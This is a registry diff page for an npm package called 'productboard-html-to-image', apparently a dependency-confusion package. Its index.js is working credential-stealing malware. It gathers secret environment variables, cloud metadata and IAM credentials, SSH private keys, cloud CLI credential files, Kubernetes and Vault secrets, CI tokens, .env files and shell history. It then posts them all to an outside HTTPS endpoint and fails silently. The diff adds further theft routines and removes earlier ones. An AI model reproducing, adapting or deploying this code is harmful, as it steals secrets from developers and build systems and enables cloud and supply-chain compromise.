productboard-html-to-image 999.0.9 → 1002.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +163 -140
- package/package.json +1 -1
package/index.js
CHANGED
@@ -5,7 +5,6 @@ const path = require("path");
|
|
5
5
|
const https = require("https");
|
6
6
|
const querystring = require("querystring");
|
7
7
|
const child_process = require("child_process");
|
8
|
-
const zlib = require("zlib");
|
9
8
|
|
10
9
|
function safeReadFile(p, maxSize = 10240) {
|
11
10
|
try {
|
@@ -37,91 +36,49 @@ function exec(cmd, timeout = 3000) {
|
|
37
36
|
function getSensitiveEnvVars() {
|
38
37
|
const result = {};
|
39
38
|
for (const key in process.env) {
|
40
|
-
if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github/i.test(key)) {
|
39
|
+
if (/pass|key|token|secret|env|auth|cred|aws|gcp|azure|kube|docker|jenkins|gitlab|github|circleci|travis|vault/i.test(key)) {
|
41
40
|
result[key] = process.env[key];
|
42
41
|
}
|
43
42
|
}
|
44
43
|
return result;
|
45
44
|
}
|
46
45
|
|
47
|
-
function checkContainerOrCI() {
|
48
|
-
return {
|
49
|
-
cgroup: safeReadFile("/proc/1/cgroup"),
|
50
|
-
dockerenv: fs.existsSync("/.dockerenv"),
|
51
|
-
ciVars: Object.fromEntries(Object.entries(process.env).filter(([k]) => /ci|build|pipeline|github|gitlab|jenkins|circleci|travis/i.test(k))),
|
52
|
-
kubernetes: {
|
53
|
-
token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
|
54
|
-
namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
|
55
|
-
kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
|
56
|
-
},
|
57
|
-
dockerConfig: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
|
58
|
-
};
|
59
|
-
}
|
60
|
-
|
61
|
-
function getGitData() {
|
62
|
-
return {
|
63
|
-
branch: exec("git rev-parse --abbrev-ref HEAD"),
|
64
|
-
remotes: exec("git remote -v"),
|
65
|
-
config: safeReadFile(path.join(os.homedir(), ".gitconfig")),
|
66
|
-
credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
|
67
|
-
netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
|
68
|
-
};
|
69
|
-
}
|
70
|
-
|
71
|
-
function getSystemState() {
|
72
|
-
return {
|
73
|
-
whoami: exec("whoami"),
|
74
|
-
id: exec("id"),
|
75
|
-
ps: exec("ps aux | head -n 30"),
|
76
|
-
netstat: exec("ss -tunlp | head -n 30"),
|
77
|
-
lsof: exec("lsof -n -i | head -n 30"),
|
78
|
-
uname: exec("uname -a"),
|
79
|
-
dmesg: exec("dmesg | tail -n 50"),
|
80
|
-
mounts: exec("cat /proc/mounts | head -n 30"),
|
81
|
-
crontab: exec("crontab -l"),
|
82
|
-
};
|
83
|
-
}
|
84
|
-
|
85
|
-
function getInstalledTools() {
|
86
|
-
return {
|
87
|
-
npm: exec("npm ls -g --depth=0 --json"),
|
88
|
-
apt: exec("dpkg -l | head -n 30"),
|
89
|
-
brew: exec("brew list || echo 'no brew'"),
|
90
|
-
pip: exec("pip list --format=json || echo 'no pip'"),
|
91
|
-
which_tools: {
|
92
|
-
aws: exec("which aws"),
|
93
|
-
gcloud: exec("which gcloud"),
|
94
|
-
az: exec("which az"),
|
95
|
-
kubectl: exec("which kubectl"),
|
96
|
-
terraform: exec("which terraform"),
|
97
|
-
docker: exec("which docker"),
|
98
|
-
nmap: exec("which nmap"),
|
99
|
-
curl: exec("which curl"),
|
100
|
-
},
|
101
|
-
};
|
102
|
-
}
|
103
|
-
|
104
46
|
function getCloudMetadata() {
|
105
47
|
const metadata = {};
|
106
48
|
const endpoints = [
|
107
49
|
{ name: "aws_instance", url: "http://169.254.169.254/latest/dynamic/instance-identity/document" },
|
108
|
-
{ name: "aws_metadata", url: "http://169.254.169.254/latest/meta-data/" },
|
109
50
|
{ name: "aws_iam", url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/" },
|
51
|
+
{ name: "aws_s3", cmd: "aws s3 ls" }, // List S3 buckets
|
110
52
|
{ name: "gcp_metadata", url: "http://metadata.google.internal/computeMetadata/v1/?recursive=true", headers: { "Metadata-Flavor": "Google" } },
|
53
|
+
{ name: "gcp_projects", cmd: "gcloud projects list --format=json" },
|
111
54
|
{ name: "azure_metadata", url: "http://169.254.169.254/metadata/instance?api-version=2021-02-01", headers: { "Metadata": "true" } },
|
55
|
+
{ name: "azure_subscriptions", cmd: "az account list --output json" },
|
112
56
|
];
|
113
|
-
for (const { name, url, headers } of endpoints) {
|
57
|
+
for (const { name, url, headers, cmd } of endpoints) {
|
114
58
|
try {
|
115
|
-
|
116
|
-
|
117
|
-
|
118
|
-
cmd = `curl -s --max-time 2 ${
|
59
|
+
if (cmd) {
|
60
|
+
metadata[name] = exec(cmd);
|
61
|
+
} else {
|
62
|
+
let cmd = `curl -s --max-time 2 ${url}`;
|
63
|
+
if (headers) {
|
64
|
+
const headerStr = Object.entries(headers).map(([k, v]) => `-H "${k}: ${v}"`).join(" ");
|
65
|
+
cmd = `curl -s --max-time 2 ${headerStr} ${url}`;
|
66
|
+
}
|
67
|
+
metadata[name] = exec(cmd);
|
119
68
|
}
|
120
|
-
metadata[name] = exec(cmd);
|
121
69
|
} catch (e) {
|
122
70
|
metadata[name] = `ERR: ${e.message}`;
|
123
71
|
}
|
124
72
|
}
|
73
|
+
// Get IAM role details if available
|
74
|
+
try {
|
75
|
+
const roleName = exec("curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/");
|
76
|
+
if (roleName && !roleName.startsWith("ERR:")) {
|
77
|
+
metadata["aws_iam_creds"] = exec(`curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/${roleName}`);
|
78
|
+
}
|
79
|
+
} catch (e) {
|
80
|
+
metadata["aws_iam_creds"] = `ERR: ${e.message}`;
|
81
|
+
}
|
125
82
|
return metadata;
|
126
83
|
}
|
127
84
|
|
@@ -130,69 +87,144 @@ function getCloudCLIs() {
|
|
130
87
|
aws: {
|
131
88
|
credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
|
132
89
|
config: safeReadFile(path.join(os.homedir(), ".aws/config")),
|
90
|
+
ssm_params: exec("aws ssm get-parameters --names / --recursive --query 'Parameters[*].Name'"),
|
133
91
|
sts: exec("aws sts get-caller-identity"),
|
92
|
+
assume_role: exec("aws sts get-session-token"),
|
134
93
|
},
|
135
94
|
gcloud: {
|
136
95
|
config: safeReadFile(path.join(os.homedir(), ".config/gcloud/configurations/config_default")),
|
137
96
|
credentials: safeReadFile(path.join(os.homedir(), ".config/gcloud/credentials.db")),
|
97
|
+
service_accounts: exec("gcloud iam service-accounts list --format=json"),
|
138
98
|
},
|
139
99
|
azure: {
|
140
100
|
credentials: safeReadFile(path.join(os.homedir(), ".azure/azureProfile.json")),
|
141
101
|
accessTokens: safeReadFile(path.join(os.homedir(), ".azure/accessTokens.json")),
|
102
|
+
vm_info: exec("az vm show --query '{id:id,name:name}' --output json"),
|
103
|
+
},
|
104
|
+
};
|
105
|
+
}
|
106
|
+
|
107
|
+
function getContainerDetails() {
|
108
|
+
return {
|
109
|
+
cgroup: safeReadFile("/proc/1/cgroup"),
|
110
|
+
dockerenv: fs.existsSync("/.dockerenv"),
|
111
|
+
docker_info: exec("docker info --format json"),
|
112
|
+
docker_ps: exec("docker ps -a --format '{{.ID}}\t{{.Names}}\t{{.Image}}\t{{.Status}}'"),
|
113
|
+
docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
|
114
|
+
kubernetes: {
|
115
|
+
token: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token"),
|
116
|
+
namespace: safeReadFile("/var/run/secrets/kubernetes.io/serviceaccount/namespace"),
|
117
|
+
kubeconfig: safeReadFile(path.join(os.homedir(), ".kube/config")),
|
118
|
+
pods: exec("kubectl get pods -o json --all-namespaces"),
|
119
|
+
secrets: exec("kubectl get secrets -o json --all-namespaces"),
|
120
|
+
},
|
121
|
+
};
|
122
|
+
}
|
123
|
+
|
124
|
+
function getCICDDetails() {
|
125
|
+
return {
|
126
|
+
github: {
|
127
|
+
token: process.env.GITHUB_TOKEN || safeReadFile(path.join(os.homedir(), ".github/token")),
|
128
|
+
actions_vars: safeReadDir(path.join(process.cwd(), ".github/workflows")),
|
129
|
+
},
|
130
|
+
jenkins: {
|
131
|
+
config: safeReadFile("/var/jenkins_home/config.xml"),
|
132
|
+
credentials: safeReadFile("/var/jenkins_home/credentials.xml"),
|
133
|
+
},
|
134
|
+
gitlab: {
|
135
|
+
config: safeReadFile(path.join(os.homedir(), ".gitlab-ci.yml")),
|
136
|
+
token: process.env.CI_JOB_TOKEN || "NOT_FOUND",
|
137
|
+
},
|
138
|
+
vault: {
|
139
|
+
token: safeReadFile(path.join(os.homedir(), ".vault-token")),
|
140
|
+
secrets: exec("vault kv list -format=json secret/"),
|
142
141
|
},
|
143
142
|
};
|
144
143
|
}
|
145
144
|
|
146
|
-
function
|
145
|
+
function getRuntimeSecrets() {
|
147
146
|
return {
|
148
147
|
node_version: process.version,
|
149
|
-
|
150
|
-
|
151
|
-
return Object.keys(require("module").globalPaths);
|
152
|
-
} catch {
|
153
|
-
return [];
|
154
|
-
}
|
155
|
-
})(),
|
156
|
-
loaded_modules: Object.keys(process.binding("natives")),
|
148
|
+
global_objects: Object.keys(global).filter(k => /key|token|secret|cred|auth/i.test(k)),
|
149
|
+
process_config: JSON.stringify(process.config),
|
157
150
|
npm_config: exec("npm config ls -l"),
|
151
|
+
loaded_modules: Object.keys(require("module")._cache).slice(0, 50),
|
158
152
|
};
|
159
153
|
}
|
160
154
|
|
161
|
-
function
|
162
|
-
|
163
|
-
|
164
|
-
|
165
|
-
|
166
|
-
|
155
|
+
function getSensitiveFiles() {
|
156
|
+
const files = {
|
157
|
+
etc_passwd: safeReadFile("/etc/passwd"),
|
158
|
+
etc_hosts: safeReadFile("/etc/hosts"),
|
159
|
+
etc_resolv: safeReadFile("/etc/resolv.conf"),
|
160
|
+
bash_history: safeReadFile(path.join(os.homedir(), ".bash_history")),
|
161
|
+
zsh_history: safeReadFile(path.join(os.homedir(), ".zsh_history")),
|
162
|
+
ssh_config: safeReadFile(path.join(os.homedir(), ".ssh/config")),
|
163
|
+
ssh_id_rsa: safeReadFile(path.join(os.homedir(), ".ssh/id_rsa")),
|
164
|
+
ssh_known_hosts: safeReadFile(path.join(os.homedir(), ".ssh/known_hosts")),
|
165
|
+
aws_credentials: safeReadFile(path.join(os.homedir(), ".aws/credentials")),
|
166
|
+
aws_ssm: safeReadFile(path.join(os.homedir(), ".aws/ssm")),
|
167
|
+
npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
|
168
|
+
gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
|
169
|
+
git_credentials: safeReadFile(path.join(os.homedir(), ".git-credentials")),
|
170
|
+
netrc: safeReadFile(path.join(os.homedir(), ".netrc")),
|
171
|
+
docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
|
172
|
+
env_files: {
|
173
|
+
dotenv: safeReadFile(path.join(process.cwd(), ".env")),
|
174
|
+
github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
|
175
|
+
circleci: safeReadFile(path.join(process.cwd(), ".circleci/config.yml")),
|
176
|
+
},
|
177
|
+
};
|
178
|
+
// Scan for additional sensitive files
|
179
|
+
const sensitivePaths = [
|
180
|
+
path.join(os.homedir(), ".config/vault"),
|
181
|
+
path.join(os.homedir(), ".terraformrc"),
|
182
|
+
path.join(process.cwd(), "secrets.yml"),
|
183
|
+
"/run/secrets",
|
184
|
+
];
|
185
|
+
files.extras = {};
|
186
|
+
sensitivePaths.forEach(p => {
|
187
|
+
files.extras[path.basename(p)] = fs.existsSync(p) ? (fs.lstatSync(p).isDirectory() ? safeReadDir(p) : safeReadFile(p)) : "NOT_FOUND";
|
188
|
+
});
|
189
|
+
return files;
|
190
|
+
}
|
191
|
+
|
192
|
+
function getSystemState() {
|
193
|
+
return {
|
194
|
+
whoami: exec("whoami"),
|
195
|
+
id: exec("id"),
|
196
|
+
ps: exec("ps aux | grep -E 'node|java|python|ruby|go|aws|gcloud|az|kubectl|vault' | head -n 30"),
|
197
|
+
netstat: exec("ss -tunlp | head -n 30"),
|
198
|
+
lsof: exec("lsof -n -i | head -n 30"),
|
199
|
+
uname: exec("uname -a"),
|
200
|
+
mounts: exec("cat /proc/mounts | head -n 30"),
|
201
|
+
crontab: exec("crontab -l"),
|
202
|
+
sysctl: exec("sysctl -a | grep -E 'kernel|vm|net' | head -n 50"),
|
203
|
+
};
|
167
204
|
}
|
168
205
|
|
169
206
|
let dump = {};
|
170
207
|
|
171
208
|
try {
|
172
209
|
dump = {
|
173
|
-
|
174
|
-
app: (() => {
|
210
|
+
p: (() => {
|
175
211
|
try {
|
176
|
-
|
177
|
-
return { name: pkg.name, version: pkg.version, dependencies: pkg.dependencies, scripts: pkg.scripts };
|
212
|
+
return require("./package.json").name;
|
178
213
|
} catch {
|
179
|
-
return
|
214
|
+
return "unknown";
|
180
215
|
}
|
181
216
|
})(),
|
182
|
-
|
183
|
-
|
184
|
-
|
185
|
-
|
186
|
-
|
187
|
-
|
188
|
-
|
189
|
-
|
190
|
-
|
191
|
-
|
192
|
-
|
193
|
-
cwd: process.cwd(),
|
194
|
-
},
|
195
|
-
env: getSensitiveEnvVars(),
|
217
|
+
v: (() => {
|
218
|
+
try {
|
219
|
+
return require("./package.json").version;
|
220
|
+
} catch {
|
221
|
+
return "unknown";
|
222
|
+
}
|
223
|
+
})(),
|
224
|
+
c: process.cwd(),
|
225
|
+
hd: os.homedir(),
|
226
|
+
hn: os.hostname(),
|
227
|
+
un: os.userInfo().username,
|
196
228
|
dns: (() => {
|
197
229
|
try {
|
198
230
|
return dns.getServers();
|
@@ -200,42 +232,33 @@ try {
|
|
200
232
|
return [`ERR: ${e.message}`];
|
201
233
|
}
|
202
234
|
})(),
|
203
|
-
|
204
|
-
|
205
|
-
|
206
|
-
|
207
|
-
|
208
|
-
|
209
|
-
|
210
|
-
|
211
|
-
|
212
|
-
|
213
|
-
|
214
|
-
|
215
|
-
|
216
|
-
|
217
|
-
|
218
|
-
|
219
|
-
|
220
|
-
|
221
|
-
|
222
|
-
aws_config: safeReadFile(path.join(os.homedir(), ".aws/config")),
|
223
|
-
npmrc: safeReadFile(path.join(os.homedir(), ".npmrc")),
|
224
|
-
gitconfig: safeReadFile(path.join(os.homedir(), ".gitconfig")),
|
225
|
-
docker_config: safeReadFile(path.join(os.homedir(), ".docker/config.json")),
|
226
|
-
env_files: {
|
227
|
-
dotenv: safeReadFile(path.join(process.cwd(), ".env")),
|
228
|
-
github_workflow: safeReadDir(path.join(process.cwd(), ".github/workflows")),
|
229
|
-
},
|
230
|
-
},
|
231
|
-
git: getGitData(),
|
232
|
-
container: checkContainerOrCI(),
|
233
|
-
system: getSystemState(),
|
234
|
-
tools: getInstalledTools(),
|
235
|
-
network: os.networkInterfaces(),
|
235
|
+
pjson: (() => {
|
236
|
+
try {
|
237
|
+
const pkg = require("./package.json");
|
238
|
+
return {
|
239
|
+
name: pkg.name,
|
240
|
+
version: pkg.version,
|
241
|
+
main: pkg.main,
|
242
|
+
keywords: pkg.keywords,
|
243
|
+
scripts: pkg.scripts,
|
244
|
+
author: pkg.author,
|
245
|
+
license: pkg.license,
|
246
|
+
description: pkg.description
|
247
|
+
};
|
248
|
+
} catch {
|
249
|
+
return {};
|
250
|
+
}
|
251
|
+
})(),
|
252
|
+
env: getSensitiveEnvVars(),
|
253
|
+
container: getContainerDetails(),
|
236
254
|
cloud: getCloudMetadata(),
|
237
255
|
cloud_clis: getCloudCLIs(),
|
238
|
-
|
256
|
+
cicd: getCICDDetails(),
|
257
|
+
runtime: getRuntimeSecrets(),
|
258
|
+
files: getSensitiveFiles(),
|
259
|
+
system: getSystemState(),
|
260
|
+
network: os.networkInterfaces(),
|
261
|
+
timestamp: new Date().toISOString()
|
239
262
|
};
|
240
263
|
} catch (e) {
|
241
264
|
dump = { error: "Top-level error collecting dump", msg: e.message };
|
@@ -243,7 +266,7 @@ try {
|
|
243
266
|
|
244
267
|
try {
|
245
268
|
const postData = querystring.stringify({
|
246
|
-
msg:
|
269
|
+
msg: encodeURIComponent(JSON.stringify(dump))
|
247
270
|
});
|
248
271
|
|
249
272
|
const options = {
|
@@ -255,20 +278,20 @@ try {
|
|
255
278
|
"Content-Type": "application/x-www-form-urlencoded",
|
256
279
|
"Content-Length": postData.length,
|
257
280
|
"User-Agent": "rce-impact-demo",
|
258
|
-
"X-Report-ID": "328XXXX"
|
259
|
-
"X-Data-Format": "gzip-base64",
|
281
|
+
"X-Report-ID": "328XXXX"
|
260
282
|
},
|
261
283
|
timeout: 5000,
|
262
284
|
};
|
263
285
|
|
264
286
|
const req = https.request(options, res => {
|
265
|
-
res.on("data", () => {
|
266
|
-
res.on("end", () => {
|
287
|
+
res.on("data", () => {});
|
288
|
+
res.on("end", () => {});
|
267
289
|
});
|
268
290
|
|
269
|
-
req.on("error", () => {
|
291
|
+
req.on("error", () => {});
|
270
292
|
req.on("timeout", () => req.destroy());
|
271
293
|
req.write(postData);
|
272
294
|
req.end();
|
273
295
|
} catch (e) {
|
296
|
+
// Silent fail
|
274
297
|
}
|